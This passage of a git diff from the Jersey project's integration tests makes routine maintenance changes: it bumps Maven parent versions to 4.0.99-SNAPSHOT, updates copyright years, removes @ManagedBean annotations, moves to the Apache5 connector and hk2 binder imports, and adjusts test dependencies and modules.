  * @author Jakub Podlesak
  */
 @Provider
-@ManagedBean
 public class JCDIBeanDependentExceptionMapper implements ExceptionMapper<JDCIBeanDependentException> {
 
     private static final Logger LOGGER = Logger.getLogger(JCDIBeanDependentExceptionMapper.class.getName());
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentPerRequestResource.java b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentPerRequestResource.java
index 5982a79..fd674e0 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentPerRequestResource.java
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentPerRequestResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,6 @@
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.Resource;
 import jakarta.annotation.PostConstruct;
 import jakarta.annotation.PreDestroy;
@@ -40,7 +39,6 @@
  * @author Jakub Podlesak
  */
 @Path("/jcdibean/dependent/per-request")
-@ManagedBean
 @RequestScoped
 public class JCDIBeanDependentPerRequestResource {
 
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentSingletonResource.java b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentSingletonResource.java
index 7cdc02f..d3e6cc3 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentSingletonResource.java
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentSingletonResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,6 @@
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.PostConstruct;
 import jakarta.annotation.PreDestroy;
 import jakarta.annotation.Resource;
@@ -41,7 +40,6 @@
  */
 @Path("/jcdibean/dependent/singleton/{p}")
 @ApplicationScoped
-@ManagedBean
 public class JCDIBeanDependentSingletonResource {
 
     private static final Logger LOGGER = Logger.getLogger(JCDIBeanDependentSingletonResource.class.getName());
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
index 47b43ba..700fff4 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-custom-cfg-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
index bffe949..5454819 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.ws.rs.ApplicationPath;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.internal.monitoring.MonitoringFeature;
 
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
index d9c44ee..e76c5f9 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-custom-hk2-banned-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
index 8528aaa..8d6a947 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.ws.rs.ApplicationPath;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.internal.monitoring.MonitoringFeature;
 
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
index 8664757..efd732f 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
index 901ecd6..73261cd 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.ws.rs.ApplicationPath;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.internal.monitoring.MonitoringFeature;
 
diff --git a/tests/integration/cdi-integration/context-inject-on-server/pom.xml b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
index d2f9544..77dac4f 100644
--- a/tests/integration/cdi-integration/context-inject-on-server/pom.xml
+++ b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>context-inject-on-server</artifactId>
diff --git a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
index 870b9fa..30ea75a 100644
--- a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
+++ b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>gf-cdi-inject-on-server</artifactId>
@@ -351,6 +351,7 @@
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
+                    <skipTests>true</skipTests>
                     <includes>
                         <include>**/GFTest.java</include>
                     </includes>
diff --git a/tests/integration/cdi-integration/pom.xml b/tests/integration/cdi-integration/pom.xml
index 5109b3c..82c4289 100644
--- a/tests/integration/cdi-integration/pom.xml
+++ b/tests/integration/cdi-integration/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
@@ -49,6 +49,7 @@
         <module>cdi-client-on-server</module>
         <module>cdi-ejb-test-webapp</module>
         <module>cdi-iface-with-non-jaxrs-impl-test-webapp</module>
+        <module>cdi-inject-weld-test</module>
         <module>cdi-manually-bound</module>
         <module>cdi-log-check</module>
         <module>cdi-multimodule</module>
diff --git a/tests/integration/client-connector-provider/pom.xml b/tests/integration/client-connector-provider/pom.xml
index ce4bc94..aca7b12 100644
--- a/tests/integration/client-connector-provider/pom.xml
+++ b/tests/integration/client-connector-provider/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>client-connector-provider</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/ear/pom.xml b/tests/integration/ejb-multimodule-reload/ear/pom.xml
index d39eeb5..4fc07bd 100644
--- a/tests/integration/ejb-multimodule-reload/ear/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/ear/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/lib/pom.xml b/tests/integration/ejb-multimodule-reload/lib/pom.xml
index 554a006..23b5e9d 100644
--- a/tests/integration/ejb-multimodule-reload/lib/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/lib/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/pom.xml b/tests/integration/ejb-multimodule-reload/pom.xml
index 272cab9..0598ae8 100644
--- a/tests/integration/ejb-multimodule-reload/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-multimodule-reload</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/war1/pom.xml b/tests/integration/ejb-multimodule-reload/war1/pom.xml
index 9e0a367..e743025 100644
--- a/tests/integration/ejb-multimodule-reload/war1/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/war1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/war2/pom.xml b/tests/integration/ejb-multimodule-reload/war2/pom.xml
index 21f63e3..8d8c605 100644
--- a/tests/integration/ejb-multimodule-reload/war2/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/war2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/ear/pom.xml b/tests/integration/ejb-multimodule/ear/pom.xml
index b73482a..b28a11f 100644
--- a/tests/integration/ejb-multimodule/ear/pom.xml
+++ b/tests/integration/ejb-multimodule/ear/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/lib/pom.xml b/tests/integration/ejb-multimodule/lib/pom.xml
index a2d877b..ae8ca07 100644
--- a/tests/integration/ejb-multimodule/lib/pom.xml
+++ b/tests/integration/ejb-multimodule/lib/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/pom.xml b/tests/integration/ejb-multimodule/pom.xml
index e88fa93..44b8a6e 100644
--- a/tests/integration/ejb-multimodule/pom.xml
+++ b/tests/integration/ejb-multimodule/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-multimodule</artifactId>
diff --git a/tests/integration/ejb-multimodule/war/pom.xml b/tests/integration/ejb-multimodule/war/pom.xml
index 3990311..150ac23 100644
--- a/tests/integration/ejb-multimodule/war/pom.xml
+++ b/tests/integration/ejb-multimodule/war/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-test-webapp/pom.xml b/tests/integration/ejb-test-webapp/pom.xml
index f27d750..90da4f0 100644
--- a/tests/integration/ejb-test-webapp/pom.xml
+++ b/tests/integration/ejb-test-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-test-webapp</artifactId>
diff --git a/tests/integration/externalproperties/pom.xml b/tests/integration/externalproperties/pom.xml
index 8feec0d..dc69625 100644
--- a/tests/integration/externalproperties/pom.xml
+++ b/tests/integration/externalproperties/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>externalproperties</artifactId>
diff --git a/tests/integration/j-376/pom.xml b/tests/integration/j-376/pom.xml
index 4a56aa2..e42a8c3 100644
--- a/tests/integration/j-376/pom.xml
+++ b/tests/integration/j-376/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-376</artifactId>
diff --git a/tests/integration/j-441/ear/pom.xml b/tests/integration/j-441/ear/pom.xml
index e5bd5a1..a0cc4e5 100644
--- a/tests/integration/j-441/ear/pom.xml
+++ b/tests/integration/j-441/ear/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
     <artifactId>j-441-ear</artifactId>
diff --git a/tests/integration/j-441/pom.xml b/tests/integration/j-441/pom.xml
index 6107c63..8e56c13 100644
--- a/tests/integration/j-441/pom.xml
+++ b/tests/integration/j-441/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-441</artifactId>
diff --git a/tests/integration/j-441/war1/pom.xml b/tests/integration/j-441/war1/pom.xml
index eaba647..e2b9a9a 100644
--- a/tests/integration/j-441/war1/pom.xml
+++ b/tests/integration/j-441/war1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-441/war2/pom.xml b/tests/integration/j-441/war2/pom.xml
index 4aa9230..c71c175 100644
--- a/tests/integration/j-441/war2/pom.xml
+++ b/tests/integration/j-441/war2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-59/ear/pom.xml b/tests/integration/j-59/ear/pom.xml
index 5fa0d35..c3aeafc 100644
--- a/tests/integration/j-59/ear/pom.xml
+++ b/tests/integration/j-59/ear/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-59/lib/pom.xml b/tests/integration/j-59/lib/pom.xml
index 168d2b6..143942a 100644
--- a/tests/integration/j-59/lib/pom.xml
+++ b/tests/integration/j-59/lib/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-59/pom.xml b/tests/integration/j-59/pom.xml
index 92a7525..287f129 100644
--- a/tests/integration/j-59/pom.xml
+++ b/tests/integration/j-59/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-59</artifactId>
diff --git a/tests/integration/j-59/war/pom.xml b/tests/integration/j-59/war/pom.xml
index df6801a..8b12947 100644
--- a/tests/integration/j-59/war/pom.xml
+++ b/tests/integration/j-59/war/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/jackson-14/pom.xml b/tests/integration/jackson-14/pom.xml
index 0d56f72..8f3d62b 100644
--- a/tests/integration/jackson-14/pom.xml
+++ b/tests/integration/jackson-14/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jaxrs-component-inject/pom.xml b/tests/integration/jaxrs-component-inject/pom.xml
index c6c5b0d..d0e9dbf 100644
--- a/tests/integration/jaxrs-component-inject/pom.xml
+++ b/tests/integration/jaxrs-component-inject/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-component-inject</artifactId>
diff --git a/tests/integration/jersey-1107/pom.xml b/tests/integration/jersey-1107/pom.xml
index 69c5698..22ec8a6 100644
--- a/tests/integration/jersey-1107/pom.xml
+++ b/tests/integration/jersey-1107/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1107</artifactId>
diff --git a/tests/integration/jersey-1223/pom.xml b/tests/integration/jersey-1223/pom.xml
index 5f3c3b1..03a2193 100644
--- a/tests/integration/jersey-1223/pom.xml
+++ b/tests/integration/jersey-1223/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1223</artifactId>
diff --git a/tests/integration/jersey-1604/pom.xml b/tests/integration/jersey-1604/pom.xml
index e940edb..91cd5b1 100644
--- a/tests/integration/jersey-1604/pom.xml
+++ b/tests/integration/jersey-1604/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1604</artifactId>
@@ -39,7 +39,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -47,6 +47,12 @@
             <artifactId>jersey-test-framework-provider-external</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-api</artifactId>
+            <version>${slf4j.version}</version>
+            <scope>test</scope>
+        </dependency>
 
     </dependencies>
 
diff --git a/tests/integration/jersey-1604/src/test/java/org/glassfish/jersey/tests/integration/jersey1604/ConnectionCloseITCase.java b/tests/integration/jersey-1604/src/test/java/org/glassfish/jersey/tests/integration/jersey1604/ConnectionCloseITCase.java
index b5f5644..95520db 100644
--- a/tests/integration/jersey-1604/src/test/java/org/glassfish/jersey/tests/integration/jersey1604/ConnectionCloseITCase.java
+++ b/tests/integration/jersey-1604/src/test/java/org/glassfish/jersey/tests/integration/jersey1604/ConnectionCloseITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
@@ -50,7 +50,7 @@
 
     @Override
     protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
+        config.connectorProvider(new Apache5ConnectorProvider());
     }
 
     @Test
diff --git a/tests/integration/jersey-1667/pom.xml b/tests/integration/jersey-1667/pom.xml
index f91e94e..3d5d434 100644
--- a/tests/integration/jersey-1667/pom.xml
+++ b/tests/integration/jersey-1667/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1667</artifactId>
diff --git a/tests/integration/jersey-1829/pom.xml b/tests/integration/jersey-1829/pom.xml
index 2775fcf..e4da430 100644
--- a/tests/integration/jersey-1829/pom.xml
+++ b/tests/integration/jersey-1829/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,10 +19,11 @@
 
 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
     <parent>
-        <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.0-SNAPSHOT</version>
+        <artifactId>project</artifactId>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
+
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1829</artifactId>
     <packaging>war</packaging>
@@ -45,6 +46,12 @@
             <scope>test</scope>
         </dependency>
 
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+            <scope>test</scope>
+        </dependency>
+
     </dependencies>
 
     <build>
@@ -57,10 +64,6 @@
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
-            <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
-            </plugin>
         </plugins>
     </build>
 </project>
diff --git a/tests/integration/jersey-1829/src/test/java/org/glassfish/jersey/tests/integration/jersey1829/ApplicationHandlerITCase.java b/tests/integration/jersey-1829/src/test/java/org/glassfish/jersey/tests/integration/jersey1829/ApplicationHandlerITCase.java
index 48ea38d..436b155 100644
--- a/tests/integration/jersey-1829/src/test/java/org/glassfish/jersey/tests/integration/jersey1829/ApplicationHandlerITCase.java
+++ b/tests/integration/jersey-1829/src/test/java/org/glassfish/jersey/tests/integration/jersey1829/ApplicationHandlerITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
 
 package org.glassfish.jersey.tests.integration.jersey1829;
 
+import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Response;
 
 import org.glassfish.jersey.server.ResourceConfig;
@@ -36,13 +37,8 @@
 public class ApplicationHandlerITCase extends JerseyTest {
 
     @Override
-    protected ResourceConfig configure() {
-        return new ResourceConfig(Jersey1829.class);
